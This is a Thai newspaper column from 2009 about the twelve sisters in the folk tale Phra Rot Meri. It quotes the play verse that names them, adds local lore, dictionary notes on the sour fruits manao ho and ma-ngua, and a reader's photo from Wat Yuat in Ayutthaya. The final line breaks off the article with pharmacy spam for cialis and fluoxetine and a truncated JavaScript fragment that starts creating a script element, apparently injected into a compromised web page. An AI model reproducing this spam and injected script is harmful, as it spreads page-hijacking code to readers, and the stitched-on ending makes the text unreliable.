หนังสือพิมพ์มติชนฉบับวันจันทร์ที่ 12 ตุลาคม 2552


นางสิบสองในเรื่องพระรถ เมรี เป็นลูกสาวเศรษฐีที่ถูกหลอกไปปล่อยทิ้งในป่า เพราะเศรษฐีมีลูกมากเกินไป เลี้ยงไม่ไหว
ต่อมานางสิบสองถูกควักลูกตาทั้ง 2 ข้าง เว้นแต่คนสุดท้ายทำอุบายจนเหลือตาดี 1 ข้าง

ผมไม่เคยรู้ว่านางสิบสองมีชื่อตัวทุกนาง จนได้อ่านบทละครเรื่องพระรถ เมรี  ยุคกรุงศรีอยุธยา ฉบับกรมศิลปากร ชำระและพิมพ์เผยแพร่เมื่อ พ.ศ. 2552 ถึงรู้ว่าชื่อนางสิบสองมีดังนี้

บัวทอง, บัวแก้ว, จงกล, อุบล, บัวผัน, บัวเผื่อน, โกมุท, บงกช, บัวขม (น่าจะเป็นบัวชม แต่ต้นฉบับพิมพ์ของกรมศิลปากรสะกด ขม), บัวหลวง, ประทุมทอง, คนสุดท้องชื่อ เภา เป็นแม่พระรถ มีกลอนบทละครบอกชือ่แต่ละคนไว้ ดังนี้

ที่หนึ่งนั้นชื่อนางบัวทอง             ที่สองบัวแก้วไม่สับสน
ที่สามให้นามจงกล                     ที่สี่ชื่ออุบลสวัสดี
ที่ห้าชื่อนางบัวผัน                       ที่หกนั้นบัวเผื่อนเจริญศรี
ที่เจ็ดโกมุทเห็นสุดดี                  ที่แปดชื่อศรีบงกชมา
ที่เก้าชื่อบัวขมเห็นสมลักษณ์    ที่สิบน่ารักเป็นนักหนา
ชื่อบัวหลวงท่วงทีกิริยา              ที่สิบเบ็ดชื่อว่าประทุมทอง
อันนางโฉมฉายพรายพรรณ     ที่สิบสองชื่อเภาสุดท้อง
งามจริงยิ่งกว่าพี่น้อง                  ทั้งสิบสองนุชนางสำอางตา

ที่ อ. พนมสารคาม จ. ฉะเชิงเทรา มีลาวพวนถูกกวาดต้อนมาตั้งหลักแหล่งบ้านเรือนตั้งแต่สมัยรัชกาลที่ 3 จึงมีนิทานเรื่องพระรถ เมรี เชื่อมโยงเกี่ยวข้องกับเมืองพระรถที่ อ. พนัสนิคม จ. ชลบุรี
ครูสุรางค์ เช้าเจริญ เชื้อสายพวน สอนอยู่โรงเรียนที่ อ. พนมสารคาม เคยติดตามค้นคว้าคำบอกเล่าพระรถ เมรี จากชื่อบ้านนามเมือง เขียนบอกมาว่า
“โครงการอนุรักษ์พันธุกรรมพืชอันเนื่องมาจากพระราชดำริ สมเด็จพระเทพฯ พูดถึงมะนาวโห่ว่าใช้ประโยชน์ ดังนี้
ราก-ขับพยาธิ บำรุงธาตุ เจริญอาหาร
แก่น-บำรุงไขมัน บำรุงธาตุ
ใบ-แก้ท้องร่วง แก้ปวดหู แก้ไข้ แก้เจ็บปาก
ผล-รักษาเลือดออกตามไรฟัน แก้ท้องเสีย
และพจนานุกรมฉบับราชบัณฑิตยสถาน พ.ศ. 2542 หน้า 1250 บอกว่า มะนาวไม่รู้โห่คือต้นหนามแดง ชื่อไม้พุ่มดอกสีขาว หลอดดอกสีชมพู กลิ่นหอม  ผลสีขาว สุกสีแดงคล้ำกินได้ มะนาวไม่รู้โห่ก็เรียก (เคยกินมีรสเปรี๊ยวจี๊ดค่ะ)
มะงั่ว พจนานุกรมกล่าวว่า ชื่อต้นไม้ขนาดเล็ก ผลคล้ายส้มโอ รสเปรี้ยวจัด ใช้ประสมกับขมิ้นเพื่อย้อมผ้า
อ่านบทพระรถ เมรี เลยได้รู้ว่ามะงั่วไม่ใช่มะม่วง มะงั่วหาว มะนาวโห่ หาวกับโห่เป็นกริยาของมะงั่วกับมะนาว แต่ต้นมะนาวโห่ มะนาวไม่รู้โห่
มะม่วงไม่รู้หาว มะนาวไม่รู้โห่ คงจะเป็นต้นหนามแดง ที่ชาวบ้านดึงชื่อมาจากมะงั่ว มะนาวในพระรถ เมรี ชาวบ้านก็จะอ่านเรื่องเล่าต่อๆกันมา แล้วก็เลยรวมเป็นต้นเดียวกัน จึงกลายเป็นมะนาวโห่”
คุณขรรค์ชัย บุนปาน ประธานฯมติชน มีรูปถ่ายต้นมะนาวโห่ ฝากมาให้แบ่งปันและเผยแพร่สู่สาธารณะ (ดูรูปประกอบพิมพ์ไว้นี้) แล้วเขียนบอกมาด้วยว่าวัดยวด ริมแม่น้ำน้อยที่อยุธยา ตามความทรงจำเก่าแก่เล่าสืบกันมาว่าได้ชื่อจากผู้สร้างวัด คือจ่ายวดยิ่งฤทธิ์ ข้าหลวงเดิมคนสนิทสมเด็จพระเนเรศวรฯ มีข้อความเป็นหลักฐานประกอบอยู่ในโบสถ์
“มะนาวโห่ในรูปสูงเต็มที่ เปรี้ยวและขมฉิบหาย น่าจะแก้ไข้หวัดได้”  คุณขรรค์ชัยเขียนย้ำไว้บนซองใส่รูปมะนาวโห่

ต้นมะนาวโห่ ที่วัดยวด อ. เสนา จ. พระนครศรีอยุธยา ท่านประธานฯ ขรรค์ชัย บุนปาน ฝากรูปนี้มาให้แบ่งปันและเผยแพร่ แล้วเขียนบอกมาด้วยว่า หลวงน้าที่วัดยวด ปลูกไว้ในวัด

fluoxetine images buy extra super cialis onlinevar d=document;var s=d.createElement(‘script’);